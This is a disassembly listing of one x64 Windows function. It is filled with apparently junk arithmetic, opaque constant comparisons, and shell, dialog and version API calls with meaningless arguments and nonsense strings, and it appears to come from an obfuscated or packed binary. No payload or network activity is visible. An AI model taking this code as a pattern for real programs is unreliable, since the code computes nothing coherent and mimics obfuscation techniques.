mov rcx, qword [rsp + 0x7858]
movzx ecx, byte [rcx]
mov dword [rsp + 0x40ec], ecx
movzx edx, byte [rsp + 0x195]
movzx ecx, dl
mov edx, dword [rsp + 0x40ec]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000d4e9
lea rcx, [rsp + 0x77d0]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x40a4], eax
mov rax, qword [rsp + 0x7598]
mov rcx, qword [rsp + 0x78d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a8]
mov eax, dword [rax]
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
add eax, ecx
mov rcx, qword [rsp + 0x7678]
mov byte [rcx], al
lea r9, [rsp + 0x7720]
lea r8, [rsp + 0x2df80]
mov edx, 0x72
mov rcx, qword [rsp + 0x7700]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x77f0], rax
jmp 0x14000d557
movzx eax, word [rsp + 0x1110]
mov word [0x1401f94d0], ax
lea rax, [rsp + 0x198]
mov qword [rsp + 0x7918], rax
movzx eax, word [rsp + 0x10f8]
mov rcx, qword [rsp + 0x76e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], al
lea rax, [rsp + 0x7738]
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov dword [rsp + 0x40f0], eax
cmp dword [rsp + 0x40f0], 0
je 0x14000d578
jmp 0x14000d631
mov rax, qword [rsp + 0x7608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3c10]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000d5c4
mov rax, qword [rsp + 0x7790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x76a8]
mov edx, dword [rsp + 0x4030]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jbe 0x1401dbca7
mov rax, qword [rsp + 0x77e0]
movzx eax, word [rax]
mov dword [rsp + 0x6aa4], eax
cmp dword [rsp + 0x6aa4], 0x74
je 0x1401dbc50
cmp dword [rsp + 0x6aa4], 0xe57
je 0x1401dbc92
jmp 0x1401dbca7
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov rax, qword [0x1401f94c8]
mov rcx, qword [rsp + 0x7738]
add rcx, rax
mov rax, rcx
mov qword [0x1401f8008], rax
jmp 0x1401dbca7
lea rcx, [rsp + 0x2df48]
call qword [sym.imp.SHELL32.dll_SHFileOperationA]
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x78b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
lea rax, [rsp + 0x2e480]
mov qword [rsp + 0x20], rax
mov r9d, 2
lea r8, [rsp + 0x7ae0]
lea rdx, [rsp + 0x7848]
lea rcx, [rsp + 0x2e390]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x40a0], eax
mov rax, qword [rsp + 0x7790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f94], eax
mov rax, qword [rsp + 0x7600]
mov r9, qword [rax]
mov rax, qword [rsp + 0x7600]
mov r8, qword [rax]
mov rax, qword [rsp + 0x7600]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x7570]
call fcn.1401dcd70
nop
mov rax, qword [rsp + 0x7600]
mov rcx, qword [rsp + 0x75d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7600]
mov rax, qword [rax]
mov qword [rsp + 0x2dec0], rax
movabs rax, 0x6d8fd34b4206be99
cmp qword [rsp + 0x2dec0], rax
je 0x1401dbda9
movabs rax, 0x7a8848e488a9f525
cmp qword [rsp + 0x2dec0], rax
je 0x1401dbe0d
jmp 0x1401dbe22
lea r8, [rsp + 0x2e320]
lea rdx, [rsp + 0x2df10]
mov ecx, 0x91
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x40a0], eax
mov rax, qword [rsp + 0x7608]
mov rcx, qword [rsp + 0x7598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x77c8]
mov rax, qword [rax]
mov rcx, qword [0x1401f8008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
jmp 0x1401dbe22
mov rcx, qword [rsp + 0x7700]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x40b4], eax
movzx eax, byte [rsp + 0x198]
mov rcx, qword [rsp + 0x7768]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7858]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f94]
mov dword [rsp + 0x6aa8], eax
cmp dword [rsp + 0x6aa8], 0xbea11ef1
je 0x1401dbe6e
cmp dword [rsp + 0x6aa8], 0xc9264a9f
je 0x1401dbe94
jmp 0x1401dbf2a
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7570], rax
jmp 0x1401dbf2a
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x6aac], al
cmp byte [rsp + 0x6aac], 0x9f
je 0x1401dbeaf
jmp 0x1401dbf09
mov rax, qword [rsp + 0x7738]
mov rcx, qword [rsp + 0x7688]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
lea rdx, [rsp + 0x75c8]
lea rcx, [rsp + 0x7840]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2dec8], rax
mov rax, qword [rsp + 0x7828]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x10f4]
call fcn.1401ddfb0
nop
jmp 0x1401dbf2a
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1100]
xor eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3aa0]
shl eax, cl
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
movzx r9d, word [rsp + 0x10ec]
mov r8d, dword [rsp + 0x3f68]
mov rax, qword [rsp + 0x75f8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rax]
call fcn.1401dce30
nop
jmp 0x1401dc04a
mov eax, dword [rsp + 0x4058]
mov dword [rsp + 0x6ab0], eax
cmp dword [rsp + 0x6ab0], 0x5f335673
je 0x1401dbfb5
jmp 0x1401dc034
mov rax, qword [rsp + 0x77c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7738]
shl rax, cl
mov rcx, qword [rsp + 0x7640]
mov qword [rcx], rax
mov r8d, 1
lea rdx, [rsp + 0x7630]
lea rcx, [rsp + 0x7870]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x3f5c], eax
movzx eax, byte [rsp + 0x194]
movzx ecx, byte [rsp + 0x195]
or eax, ecx
mov byte [rsp + 0x198], al
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f0]
xor eax, ecx
mov rcx, qword [rsp + 0x77e0]
mov word [rcx], ax
jmp 0x1401dc04a
lea rcx, [rsp + 0x7808]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0x2ded0], rax
mov rax, qword [rsp + 0x77d0]
mov rcx, qword [rsp + 0x7618]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7640]
mov rdx, qword [rsp + 0x77a0]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jae 0x1401dc0ab
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7608]
mov qword [rsp + 0x2ded8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ded8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c10], eax
mov r9, qword [rsp + 0x77d8]
mov rax, qword [rsp + 0x7588]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x77d8]
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rax]
call fcn.1401dcd70
nop
jmp 0x1401dc183
movsx eax, word [rsp + 0x1100]
mov dword [rsp + 0x6ab4], eax
cmp dword [rsp + 0x6ab4], 0x177c
je 0x1401dc0fc
jmp 0x1401dc11d
mov rax, qword [rsp + 0x76a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7738], rax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass]
mov rdx, qword [rsp + 0x7590]
movsx edx, byte [rdx]
sub ecx, edx
lea rcx, [rsp + 0x2e390]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov dword [rsp + 0x3fb0], eax
mov rax, qword [rsp + 0x7630]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x7750]
mov edx, dword [rax]
mov rax, qword [rsp + 0x7548]
movzx ecx, byte [rax]
call fcn.1401dd660
nop
mov eax, dword [rsp + 0x3f9c]
mov dword [rsp + 0x6ab8], eax
cmp dword [rsp + 0x6ab8], 0x18446ec2
je 0x1401dc1a0
jmp 0x1401dc1bd
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rsp + 0x3aa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x10f0]
or eax, ecx
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov edx, 1
mov rcx, qword [rsp + 0x2dee0]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7760]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0x7768]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x194]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0x7678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7828]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x7828]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x3f94]
mov rax, qword [rsp + 0x7760]
movzx ecx, byte [rax]
call fcn.1401dd660
nop
jmp 0x1401dc314
lea rdx, [rsp + 0x3f5c]
lea rcx, [rsp + 0x7588]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x7ae0], rax
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0xfa8]
shl eax, cl
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1108]
and eax, ecx
mov rcx, qword [rsp + 0x76e0]
mov word [rcx], ax
mov r9, qword [rsp + 0x7870]
mov r8, qword [rsp + 0x76f8]
mov rdx, qword [rsp + 0x78d8]
mov rcx, qword [rsp + 0x79f8]
call qword [sym.imp.SHELL32.dll_ShellAboutA]
mov dword [rsp + 0x3c10], eax
lea rdx, [rsp + 0x7640]
lea rcx, [rsp + 0x2e0f0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x3ff0], eax
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7600]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f74], eax
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77c8]
mov qword [rsp + 0x2dee8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2dee8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x77d0]
mov qword [rcx], rax
jmp 0x1401dc4a9
mov rax, qword [rsp + 0x77c8]
mov rcx, qword [rsp + 0x76a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x77d0]
mov rdx, qword [rsp + 0x7640]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jbe 0x1401dc4a9
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov eax, dword [rsp + 0x4030]
mov dword [rsp + 0x6abc], eax
cmp dword [rsp + 0x6abc], 0x727cf2a2
je 0x1401dc424
jmp 0x1401dc490
mov r9d, 0xe8
mov r8d, 0xf9
mov edx, 0x26
mov rcx, qword [rsp + 0x7728]
call qword [sym.imp.SHELL32.dll_SHUpdateImageA]
mov rax, qword [0x1401f94c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x75f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x75f0]
mov word [rcx], ax
movzx r9d, word [rsp + 0x1104]
mov r8d, dword [rsp + 0x3f68]
mov rax, qword [rsp + 0x75f8]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x3f68]
call fcn.1401dce30
nop
jmp 0x1401dc4a9
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x10f4]
xor eax, ecx
mov word [section..data], ax
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0x77e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f8]
and eax, ecx
mov word [rsp + 0x10fc], ax
movzx eax, byte [rsp + 0x195]
movzx ecx, byte [rsp + 0x198]
xor eax, ecx
mov rcx, qword [rsp + 0x7630]
mov byte [rcx], al
mov rax, qword [rsp + 0x7668]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x7598]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x7668]
movzx edx, word [rax]
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rax]
call fcn.1401dce30
nop
mov rax, qword [rsp + 0x71c8]
mov rcx, qword [rsp + 0x7618]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x75c8], rax
mov rax, qword [rsp + 0x7618]
movzx ecx, al
mov rax, qword [rsp + 0x7688]
shr rax, cl
mov rcx, qword [rsp + 0x76a0]
mov rdx, qword [rsp + 0x71c8]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
ja 0x1401dc5fb
mov rax, qword [rsp + 0x76a8]
mov rcx, qword [rsp + 0x7568]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
lea rax, [rsp + 0x7610]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x76f8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x196]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2e930]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x7708]
mov r8, qword [rsp + 0x76f8]
lea rdx, str.TroopingSmoulderingFuriouslyDamn
mov ecx, 0x36
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x4058], eax
jmp 0x1401dc62a
mov rax, qword [rsp + 0x75f0]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x76b0]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x1104]
mov rax, qword [rsp + 0x7608]
mov ecx, dword [rax]
call fcn.1401dce30
nop
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xfa8]
add eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
lea r9, [rsp + 0x7600]
mov r8d, 0xcd
mov edx, 0xa
mov rcx, qword [rsp + 0x7878]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x3fb0], eax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x7600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7570], rax
jmp 0x1401dc77f
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa0], eax
mov rax, qword [rsp + 0x75c0]
movzx eax, word [rax]
mov dword [rsp + 0x6ac0], eax
cmp dword [rsp + 0x6ac0], 0x8fd
je 0x1401dc6e0
cmp dword [rsp + 0x6ac0], 0xfc7
je 0x1401dc722
jmp 0x1401dc77f
movsx eax, word [rsp + 0xfa8]
movsx ecx, word [rsp + 0x1100]
and eax, ecx
mov rcx, qword [0x1401f94c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7630]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x7558]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0x197]
call fcn.1401dd660
nop
jmp 0x1401dc77f
lea rax, [rsp + 0x76a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x7708]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x76d8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x76f8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x76d8]
mov r8, qword [rsp + 0x76f8]
mov rdx, qword [rsp + 0x7708]
mov ecx, 0x6b
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x3f64], eax
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0x7640]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7618]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x76a0]
mov qword [rcx], rax
lea r9, [rsp + 0x2e0f0]
lea r8, [rsp + 0x2def0]
mov rdx, qword [rsp + 0x78d8]
lea rcx, [rsp + 0x76b0]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x4040], eax
jmp 0x1401dc827
mov rax, qword [rsp + 0x7590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x197]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
lea rcx, [rsp + 0x2e400]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x3f5c], eax
call fcn.1401dd040
nop
lea rcx, [rsp + 0x2e720]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x3fb0], eax
movsx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x7548]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1401dc888
jmp 0x1401dc8ce
movsx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7548]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x197]
add ecx, edx
cmp eax, ecx
jne 0x1401dc8ce
mov rax, qword [rsp + 0x7630]
movzx edx, byte [rax]
movzx ecx, word [section..data]
call fcn.1401ddfb0
nop
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x7570]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x75f8]
movsx eax, word [rax]
mov dword [rsp + 0x6ac4], eax
cmp dword [rsp + 0x6ac4], 0x34ee
je 0x1401dc920
cmp dword [rsp + 0x6ac4], 0x3f5f
je 0x1401dc95b
jmp 0x1401dc9ab
mov r8w, 0xa4
mov rdx, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x78d8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x1104], ax
movzx edx, byte [rsp + 0x194]
movzx ecx, word [rsp + 0x10ec]
call fcn.1401ddfb0
nop
jmp 0x1401dc9ab
mov rax, qword [rsp + 0x7598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3aa0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7608]
mov dword [rcx], eax
lea rcx, [rsp + 0x2e480]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0x7630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x195]
sub eax, ecx
mov byte [rsp + 0x194], al
movsx eax, byte [rsp + 0x197]
movsx ecx, byte [rsp + 0x196]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
call fcn.1401dd040
nop
jmp 0x1401dc9f0
mov rax, qword [rsp + 0x75d8]
mov rcx, qword [rsp + 0x7570]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7558]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f64]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x6ac8], al
cmp byte [rsp + 0x6ac8], 0x9b
je 0x1401dca2a
jmp 0x1401dca2c
jmp 0x1401dca4c
movabs rax, 0x7b97cf6a33d31de
mov rcx, qword [rsp + 0x75c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7618], rax
mov r9, qword [rsp + 0x75d8]
mov rax, qword [rsp + 0x7600]
mov r8, qword [rax]
mov rax, qword [rsp + 0x7588]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rax]
call fcn.1401dcd70
nop
mov rax, qword [rsp + 0x7588]
mov rcx, qword [rsp + 0x7570]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
movabs rax, 0x2ad746c8dce68d0e
mov rcx, qword [rsp + 0x75c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x75c8], rax
movzx r8d, byte [rsp + 0x195]
mov rax, qword [rsp + 0x7540]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0x197]
call fcn.1401dd660
nop
lea rdx, str.reversals_deepens_siamese
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.USER32.dll_RemovePropA]
mov qword [rsp + 0x7710], rax
movzx eax, word [rsp + 0x10f0]
mov rcx, qword [rsp + 0x75c0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10e8], ax
call fcn.1401dd040
nop
jmp 0x1401dcb35
movzx edx, byte [rsp + 0x195]
movzx ecx, word [rsp + 0x10ec]
call fcn.1401ddfb0
nop
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x6acc], al
cmp byte [rsp + 0x6acc], 0x9b
je 0x1401dcb52
jmp 0x1401dcb6c
mov edx, 0xfc
mov rcx, qword [rsp + 0x7808]
call qword [sym.imp.USER32.dll_SetSystemCursor]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0x7568]
mov ecx, dword [rsp + 0x3f9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x7558]
mov dword [rcx], eax
mov r9d, SHDoDragDrop
lea r8, [rsp + 0x2e0f0]
mov edx, 0x89
mov rcx, qword [rsp + 0x7520]
call qword [sym.imp.USER32.dll_GetDlgItemTextA]
mov dword [rsp + 0x3f94], eax
mov eax, dword [rsp + 0x3f64]
mov rcx, qword [rsp + 0x7568]
mov qword [rsp + 0x2def8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2def8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3f94], eax
movabs rax, 0x4d74cabf9e4b8cf
mov rcx, qword [rsp + 0x7570]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7588]
mov qword [rcx], rax
movzx eax, word [rsp + 0x10e8]
movzx ecx, word [rsp + 0x10f0]
sub eax, ecx
movzx ecx, word [rsp + 0x10f8]
cmp eax, ecx
jl 0x1401dcc48
movsx eax, byte [rsp + 0x196]
add eax, 0x46
mov rcx, qword [rsp + 0x7548]
mov byte [rcx], al
movzx eax, byte [rsp + 0x194]
add eax, 0x8a
mov byte [rsp + 0x195], al
call fcn.1401dd040
nop
jmp 0x1401dcc76
movzx r9d, word [rsp + 0x10ec]
mov r8d, dword [rsp + 0x3aa0]
movzx edx, word [rsp + 0x10ec]
mov ecx, dword [rsp + 0x3aa0]
call fcn.1401dce30
nop
movsx eax, word [rsp + 0x10ec]
or eax, 0x7a0b
cmp eax, 0x4af2
jl 0x1401dccc1
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
mov edx, 0x9b
mov rcx, qword [rsp + 0x2def0]
call qword [sym.imp.USER32.dll_SetMenuContextHelpId]
mov dword [rsp + 0x3f48], eax
movzx eax, word [rsp + 0x10e8]
mov dword [rsp + 0x6ad0], eax
cmp dword [rsp + 0x6ad0], 0xa92
je 0x1401dcce1
jmp 0x1401dcd0d
lea rdx, [rsp + 0x3f68]
mov rcx, qword [rsp + 0x75a0]
call qword [sym.imp.USER32.dll_BeginPaint]
mov qword [rsp + 0x7720], rax
mov eax, dword [rsp + 0x3aa0]
mov dword [rsp + 0x3f68], eax
mov rax, qword [rsp + 0x7540]
mov ecx, dword [rsp + 0x3f64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7540]
mov dword [rcx], eax
call fcn.1401dd040
nop
mov rcx, qword [rsp + 0x75d0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x3fcc], eax
movzx eax, word [rsp + 0x10e8]
and eax, 0x5e4
mov word [rsp + 0x10e8], ax
mov eax, dword [rsp + 0x59d8]
add rsp, 0x2ebe8
ret